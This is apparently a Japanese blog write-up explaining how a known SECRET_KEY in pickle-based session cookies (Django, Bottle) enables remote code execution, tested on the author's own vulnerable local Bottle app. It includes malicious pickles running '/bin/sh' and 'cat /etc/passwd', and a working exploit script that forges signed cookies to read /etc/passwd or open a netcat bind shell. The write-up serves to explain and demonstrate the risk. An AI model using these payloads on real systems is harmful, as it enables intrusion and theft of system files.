Djangoのサイトを見ていると以下のような記述があった.
Settings | Django documentation | Django
Running Django with a known SECRET_KEY defeats many of Django’s security protections, and can lead to privilege escalation and remote code execution vulnerabilities.
SECRET_KEYが第三者に漏れると任意のコード実行につながるとの記述がある.
が, なぜSECRET_KEYが知られると任意のコード実行が可能になるのかわからなかったので調べてみた.
結論としてセッション管理にpickleを使っているため, 第三者にSECRET_KEYが知られると悪意あるCookieを作れるかららしい.
pickle
Pythonにはオブジェクトをシリアライズ, デシリアライズするライブラリにpickleというものがある.
例えばusersというリストをシリアライズしてみると以下のようになる.
In [1]: import pickle In [2]: users = ["admin", "user01", "mrtc0"] In [3]: up = pickle.dumps(users) In [4]: print up (lp0 S'admin' p1 aS'user01' p2 aS'mrtc0' p3 a.
これをデシリアライズするとusersを得ることができる.
In[5]: pickle.loads(up) Out[5]: ['admin', 'user01', 'mrtc0']
スタックを追ってみる
pickle化されたusersは以下である.
(lp0 S'admin' p1 aS'user01' p2 aS'mrtc0' p3 a.
この (lp0
やS
,p1
はPVMのopcodeらしい.
pickletoolsを使うと逆アセンブルできる.
In [7]: import pickletools In [8]: pickletools.dis(up) 0: ( MARK 1: l LIST (MARK at 0) 2: p PUT 0 5: S STRING 'admin' 14: p PUT 1 17: a APPEND 18: S STRING 'user01' 28: p PUT 2 31: a APPEND 32: S STRING 'mrtc0' 41: p PUT 3 44: a APPEND 45: . STOP highest protocol among opcodes = 0
順に追ってみる.
0: ( MARK
(
はMARK命令でスタックにマーカーをプッシュする.
1: l LIST (MARK at 0)
l
はリストを表している.
もしディクショナリであればd
に, タプルであればt
になる.
2: p PUT 0 5: S STRING 'admin'
p
はPUT命令でpickleでは続く0や1などの数字をmemoと呼んでいるらしくスタックからPOPするときにこのmemoを用いている.
S
は文字列を意味し, 'admin'という文字列をスタックに積んだことになる.
また数値型の場合ははIntegerのI
となる.
続いてa
はAPPENDを表しているため, リストに追加する命令だとわかる.
最後に.
で終了を表している.
任意のコードを実行する
このpickleを使って任意のコードを実行することができる.
cos system
のようなpickleを作成することでos.systemの形でスタックに積むことができる.
例えば以下のようなecho.pickleを作成してunpickleするとecho "Hello, World"
が実行される.
cos system (S'echo "Hello, World"' tR.)
In [1]: import pickle In [2]: pickle.load(open("echo.pickle")) Hello, World Out[2]: 0
これも順に見ていく.
cos system
os.systemをスタックに積む.
スタックの状態は以下のようになる.
| bottom | os.system |
次に (
でMARKがスタックに積まれる.
| bottom | os.system | MARK |
S'echo "Hello, World"'
で 文字列 'echo "Hello, World"'
が積まれる.
| bottom | os.system | MARK | ('echo "Hello, World"') |
t
で MARKと 'echo "Hello, World"'
をタプルにする.
| bottom | os.system | ('echo "Hello, World"') |
R
で ('echo "Hello, World"')
と os.system
をポップして, os.system('echo "Hello, World"')
を実行する.
戻り値がスタックに積まれる.
| bottom | 0 |
このような形でスタックが変移しているらしい.
つまり, 'echo "Hello, World"'
ではなく '/bin/sh'
や 'cat /etc/passwd'
などを積めばシェルを立ち上げたり, passwdを読み込める.
cos system (S'/bin/sh' tR.)
In [1]: import pickle In [2]: pickle.load(open("binsh.pickle")) sh-4.3$ whoami mrtc0 sh-4.3$ exit exit Out[2]: 0
pickleがセッション管理に使われている場合
Python製のWeb Frameworkはいくつかあるが, Django, Bottle, Pyramidなどでpickleがセッション管理に使われている. これらで使用されるSECRET_KEYが漏れるとそれを利用して悪意のあるpickleデータを生成し, Cookieを作成できる.
Bottleアプリケーションを作成して試してみた.
$ git clone https://github.com/mrt-k/vulnwebapp $ cd vulnwebapp/python/ $ python bottle/server.py Bottle v0.12.9 server starting up (using WSGIRefServer())... Listening on http://127.0.0.1:8000/ Hit Ctrl-C to quit.
server.pyは以下のようなもの
from bottle import route, run, response, request, HTTPResponse @route('/') def main(): value = request.get_cookie('account', secret='ThisIsSecretKey') if value: return value @route('/set') def set(): resp = HTTPResponse(status=303) resp.set_header('Location','/') resp.set_cookie('account', 'admin', secret='ThisIsSecretKey') return resp run(host='127.0.0.1', port=8000, debug=True, reloader=True)
http://localhost:8000/set にアクセスするとaccount
という名前で admin
という値のCookieが付与される.
中身は以下のようなもの.
"!Wfeacq3Bv2f+TC3FVRq1bw==?gAJVB2FjY291bnRxAVUFYWRtaW5xAoZxAy4="
bottle.pyのcookie_encodeでエンコード処理がされている. https://github.com/bottlepy/bottle/blob/d567af487ee0ef8a4c669f23b0bc8432302294b9/bottle.py#L2798
def cookie_encode(data, key): """ Encode and sign a pickle-able object. Return a (byte) string """ msg = base64.b64encode(pickle.dumps(data, -1)) sig = base64.b64encode(hmac.new(tob(key), msg).digest()) return tob('!') + sig + tob('?') + msg
sigではsecretkeyを使ってhmacを利用した値が生成されており, msgにはpickle.dumpsでデータをunpickleされたものが入っている.
どちらもbase64でエンコードされている.
pickleされた部分("?"以降)をデコードすると値を得られる.
$ python -c "import pickle; print pickle.loads('gAJVB2FjY291bnRxAVUFYWRtaW5xAoZxAy4='.decode('base64'))" ('account', 'admin')
cookieのデータをpickle.dumpsしているため, secretkeyがわかっている場合, 任意のコードを実行できるCookieを生成できることになる.
このbottleアプリケーションのsecretkeyは ThisIsSecretKey
であるので, それに基づいてcat /etc/passwd
を実行するCookieを生成してみる.
import pickle, subprocess, base64, hmac, requests, sys class getpasswd(object): def __reduce__(self): return (subprocess.check_output, (('cat','/etc/passwd'),)) p = pickle.dumps(('account', getpasswd())) msg = base64.b64encode(p) sig = base64.b64encode(hmac.new("ThisIsSecretKey", msg).digest()) c = '!'+sig+'?'+msg print c
このコードを実行すると以下のCookie値を取得できる.
!EBUIvHZinCyMbqCXnivovw==?KFMnYWNjb3VudCcKcDAKY3N1YnByb2Nlc3MKY2hlY2tfb3V0cHV0CnAxCigoUydjYXQnCnAyClMnL2V0Yy9wYXNzd2QnCnAzCnRwNAp0cDUKUnA2CnRwNwou
ブラウザのアドオンなどでCookieをこの値に書き換えると/etc/passwdの内容が表示されるはず.
netcatを実行させてバインドシェルを実行してみるexploitを書くと以下のようになる.
import pickle, subprocess, base64, hmac, requests, sys class getpasswd(object): def __reduce__(self): return (subprocess.check_output, (('cat','/etc/passwd'),)) class nc(object): def __reduce__(self): return (subprocess.check_output, (('nc', '-lvp', '12345', '-e', '/bin/sh'),)) if len(sys.argv) != 3: print("Usage: %s TARGET SECRET_KEY" % sys.argv[0]) TARGET = sys.argv[1] SECRET_KEY = sys.argv[2] # if you want to passwd file # change nc() to getpasswd() #p = pickle.dumps(('account', getpasswd())) p = pickle.dumps(('account', nc())) msg = base64.b64encode(p) sig = base64.b64encode(hmac.new(SECRET_KEY, msg).digest()) c = '!'+sig+'?'+msg print c print requests.get(TARGET, cookies=dict(account=c)).text
$ python bottle_exploit.py !FA5dRLyylZvPhUzMS2HkTg==?KFMnYWNjb3VudCcKcDAKY3N1YnByb2Nlc3MKY2hlY2tfb3V0cHV0CnAxCigoUyduYycKcDIKUyctbHZwJwpwMwpTJzEyMzQ1JwpwNApTJy1lJwpwNQpTJy9iaW4vc2gnCnA2CnRwNwp0cDgKUnA5CnRwMTAKLg==
別のターミナルで接続すると(この場合localhostなので面白みに欠けるが), シェルを操作できる.
$ nc localhost 12345 ls bottle bottle_exploit.py create_pickle_payload.py getpasswd.pickle whoami mrtc0